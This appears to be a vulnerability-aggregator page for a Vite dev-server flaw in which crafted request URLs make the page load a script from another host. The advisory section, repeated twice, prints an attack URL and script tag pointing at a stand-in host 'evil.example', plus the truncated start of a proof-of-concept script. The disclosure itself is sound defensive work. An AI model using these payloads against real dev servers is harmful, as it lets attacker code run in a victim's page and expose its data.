Every CVE Search/ Get API key

CVE-2026-112945

Vite: Cross origin script execution through Vite custom middleware

2.1 LowFix available

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.67%Up 0.2 points since Oct 21, 2026
90%50%10%1%

What each source reports

CVE List Score used 2.1

Vite: Cross origin script execution through Vite custom middleware

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Record
CVE-2026-112945
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-80
Updated
2026-11-02
EUVDEUVD-2026-105125 2.1

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Record
EUVD-2026-105125
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9jrq-w75r-8gcw 2.1

Vite: Cross origin script execution through Vite custom middleware

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const…
Record
GHSA-9jrq-w75r-8gcw
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-80
Updated
2026-11-02
NVD 2.1

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Record
CVE-2026-112945
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-80
Updated
2026-11-02
OSV 2.1

Vite: Cross origin script execution through Vite custom middleware

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Record
CVE-2026-112945
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-80
Updated
2026-11-04
OSVGHSA-9jrq-w75r-8gcw 2.1

Vite: Cross origin script execution through Vite custom middleware

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const…
Record
GHSA-9jrq-w75r-8gcw
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-80
Updated
2026-11-02
Show 17 moreShow less
OSVUBUNTU-CVE-2026-112945 2.1

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Record
UBUNTU-CVE-2026-112945
CVSS 4.0
2.1 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
OSVCLSA-2026-1793091335 No score

TuxCare security update for vite (3 CVEs)

TuxCare rebuilt vite to address 3 CVEs. Fixed in 6.4.2-tuxcare.6.

Record
CLSA-2026-1793091335
Updated
2026-11-02
OSVCLSA-2026-1793099369 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 5.4.10-tuxcare.5.

Record
CLSA-2026-1793099369
Updated
2026-11-02
OSVCLSA-2026-1793099859 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.10-tuxcare.2.

Record
CLSA-2026-1793099859
Updated
2026-11-02
OSVCLSA-2026-1793099874 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.12-tuxcare.2.

Record
CLSA-2026-1793099874
Updated
2026-11-02
OSVCLSA-2026-1793099905 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.3-tuxcare.3.

Record
CLSA-2026-1793099905
Updated
2026-11-02
OSVCLSA-2026-1793099942 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.14-tuxcare.6.

Record
CLSA-2026-1793099942
Updated
2026-11-02
OSVCLSA-2026-1793099987 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 3.2.11-tuxcare.8.

Record
CLSA-2026-1793099987
Updated
2026-11-02
OSVCLSA-2026-1793100006 No score

TuxCare security update for vite (4 CVEs)

TuxCare rebuilt vite to address 4 CVEs. Fixed in 5.0.12-tuxcare.8.

Record
CLSA-2026-1793100006
Updated
2026-11-07
OSVCLSA-2026-1793100032 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.9-tuxcare.2.

Record
CLSA-2026-1793100032
Updated
2026-11-02
OSVCLSA-2026-1793100051 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.2-tuxcare.2.

Record
CLSA-2026-1793100051
Updated
2026-11-02
OSVCLSA-2026-1793100627 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 2.9.18-tuxcare.5.

Record
CLSA-2026-1793100627
Updated
2026-11-02
OSVCLSA-2026-1793100737 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 6.4.3-tuxcare.2.

Record
CLSA-2026-1793100737
Updated
2026-11-02
OSVCLSA-2026-1793115223 No score

TuxCare security update for vite (4 CVEs)

TuxCare rebuilt vite to address 4 CVEs. Fixed in 4.1.5-tuxcare.4.

Record
CLSA-2026-1793115223
Updated
2026-11-02
OSVCLSA-2026-1793973624 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.0-tuxcare.7.

Record
CLSA-2026-1793973624
Updated
2026-11-06
OSVCLSA-2026-1793973716 No score

TuxCare security update for vite (2 CVEs)

TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.5-tuxcare.11.

Record
CLSA-2026-1793973716
Updated
2026-11-06
OSVCLSA-2026-1794050549 No score

TuxCare security update for vite (1 CVE)

TuxCare rebuilt vite to address 1 CVE. Fixed in 8.0.16-tuxcare.1.

Record
CLSA-2026-1794050549
Updated
2026-11-07

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vite
npm
8.3.0 to 8.3.2
8.3.3
vite
npm
8.2.0 to 8.2.3
8.2.4
vite
npm
8.0.0 to 8.1.5
8.1.6
vite
npm
7.0.0 to 7.3.6
7.3.7
vite
npm
through 6.4.3
6.4.4
vite-plus
npm
through 1.0.0
1.1.0
vite
TuxCare:npm
From an advisory covering 3 CVEs
6.4.2-tuxcare.0 up to 6.4.2-tuxcare.6, plus listed versions
6.4.26.4.2-tuxcare.16.4.2-tuxcare.26.4.2-tuxcare.36.4.2-tuxcare.46.4.2-tuxcare.5
6.4.2-tuxcare.6
vite
TuxCare:npm
From an advisory covering 2 CVEs
5.4.10-tuxcare.0 up to 5.4.10-tuxcare.5, plus listed versions
5.4.105.4.10-tuxcare.15.4.10-tuxcare.25.4.10-tuxcare.35.4.10-tuxcare.4
5.4.10-tuxcare.5
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.10-tuxcare.0 up to 8.0.10-tuxcare.2, plus listed versions
8.0.108.0.10-tuxcare.1
8.0.10-tuxcare.2
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.12-tuxcare.0 up to 8.0.12-tuxcare.2, plus listed versions
8.0.128.0.12-tuxcare.1
8.0.12-tuxcare.2
Show 25 moreShow less
Affected packages
PackageAffectedFixed
vite
TuxCare:npm
From an advisory covering 2 CVEs
7.3.3-tuxcare.0 up to 7.3.3-tuxcare.3, plus listed versions
7.3.37.3.3-tuxcare.17.3.3-tuxcare.2
7.3.3-tuxcare.3
vite
TuxCare:npm
From an advisory covering 2 CVEs
4.5.14-tuxcare.0 up to 4.5.14-tuxcare.6, plus listed versions
4.5.144.5.14-tuxcare.14.5.14-tuxcare.24.5.14-tuxcare.34.5.14-tuxcare.44.5.14-tuxcare.5
4.5.14-tuxcare.6
vite
TuxCare:npm
From an advisory covering 2 CVEs
3.2.11-tuxcare.0 up to 3.2.11-tuxcare.8, plus listed versions
3.2.113.2.11-tuxcare.13.2.11-tuxcare.23.2.11-tuxcare.33.2.11-tuxcare.43.2.11-tuxcare.53.2.11-tuxcare.63.2.11-tuxcare.7
3.2.11-tuxcare.8
vite
TuxCare:npm
From an advisory covering 2 CVEs
5.0.12-tuxcare.0 up to 5.0.12-tuxcare.8, plus listed versions
5.0.125.0.12-tuxcare.15.0.12-tuxcare.25.0.12-tuxcare.35.0.12-tuxcare.45.0.12-tuxcare.55.0.12-tuxcare.65.0.12-tuxcare.7
5.0.12-tuxcare.8
vite
TuxCare:npm
From an advisory covering 2 CVEs
8.0.9-tuxcare.0 up to 8.0.9-tuxcare.2, plus listed versions
8.0.98.0.9-tuxcare.1
8.0.9-tuxcare.2
vite
TuxCare:npm
From an advisory covering 2 CVEs
7.3.2-tuxcare.0 up to 7.3.2-tuxcare.2, plus listed versions
7.3.27.3.2-tuxcare.1
7.3.2-tuxcare.2
vite
TuxCare:npm
From an advisory covering 2 CVEs
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.5, plus listed versions
2.9.182.9.18-tuxcare.12.9.18-tuxcare.22.9.18-tuxcare.32.9.18-tuxcare.4
2.9.18-tuxcare.5
vite
TuxCare:npm
From an advisory covering 2 CVEs
6.4.3-tuxcare.0 up to 6.4.3-tuxcare.2, plus listed versions
6.4.36.4.3-tuxcare.1
6.4.3-tuxcare.2
vite
TuxCare:npm
From an advisory covering 4 CVEs
4.1.5-tuxcare.0 up to 4.1.5-tuxcare.4, plus listed versions
4.1.54.1.5-tuxcare.14.1.5-tuxcare.24.1.5-tuxcare.3
4.1.5-tuxcare.4
vite
TuxCare:npm
From an advisory covering 2 CVEs
4.5.0-tuxcare.0 up to 4.5.0-tuxcare.7, plus listed versions
4.5.04.5.0-tuxcare.14.5.0-tuxcare.24.5.0-tuxcare.34.5.0-tuxcare.44.5.0-tuxcare.54.5.0-tuxcare.6
4.5.0-tuxcare.7
vite
TuxCare:npm
From an advisory covering 2 CVEs
4.5.5-tuxcare.0 up to 4.5.5-tuxcare.11, plus listed versions
4.5.54.5.5-tuxcare.14.5.5-tuxcare.104.5.5-tuxcare.24.5.5-tuxcare.3
Show 6 moreShow less
4.5.5-tuxcare.44.5.5-tuxcare.54.5.5-tuxcare.64.5.5-tuxcare.74.5.5-tuxcare.84.5.5-tuxcare.9
4.5.5-tuxcare.11
vite
TuxCare:npm
8.0.16-tuxcare.0 up to 8.0.16-tuxcare.1, plus listed versions
8.0.16
8.0.16-tuxcare.1
vite
npm
8.3.0 up to 8.3.3
8.3.3
vite
npm
8.2.0 up to 8.2.4
8.2.4
vite
npm
8.0.0 up to 8.1.6
8.1.6
vite
npm
7.0.0 up to 7.3.7
7.3.7
vite
npm
before 6.4.4
6.4.4
vite-plus
npm
before 1.1.0
1.1.0
vite
Ubuntu:16.04:LTS
All versions, plus listed versions
1.2+svn1430-21.2+svn1430-31.2+svn1430-41.2+svn1430-5
None known
vite
Ubuntu:18.04:LTS
All versions, plus listed versions
1.2+svn1430-51.2+svn1430-6
None known
vite
Ubuntu:20.04:LTS
All versions, plus listed versions
1.2+svn1430-61.2+svn1430-6build1
None known
vite
Ubuntu:22.04:LTS
All versions, plus listed versions
1.2+svn+git4.c6c0ce7-31.2+svn+git4.c6c0ce7-4
None known
vite
Ubuntu:24.04:LTS
All versions, plus listed versions
1.2+svn+git4.c6c0ce7-81.2+svn+git4.c6c0ce7-8build11.2+svn+git4.c6c0ce7-8build2
None known
vite
Ubuntu:26.10
All versions, plus listed versions
1.4-61.4-6build1
None known
vite
Ubuntu:26.04:LTS
All versions, plus listed versions
1.4-11.4-51.4-5build11.4-6
None known

History

History
RecordedChangedSources
affected, aliasesOSV
affected, aliasesOSV
affected
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-112945 is a low vulnerability (CVSS 2.1) in Vitejs Vite, published October 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.67%, the 52nd percentile. Fixed in vite 8.3.3.

References

Show 7 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open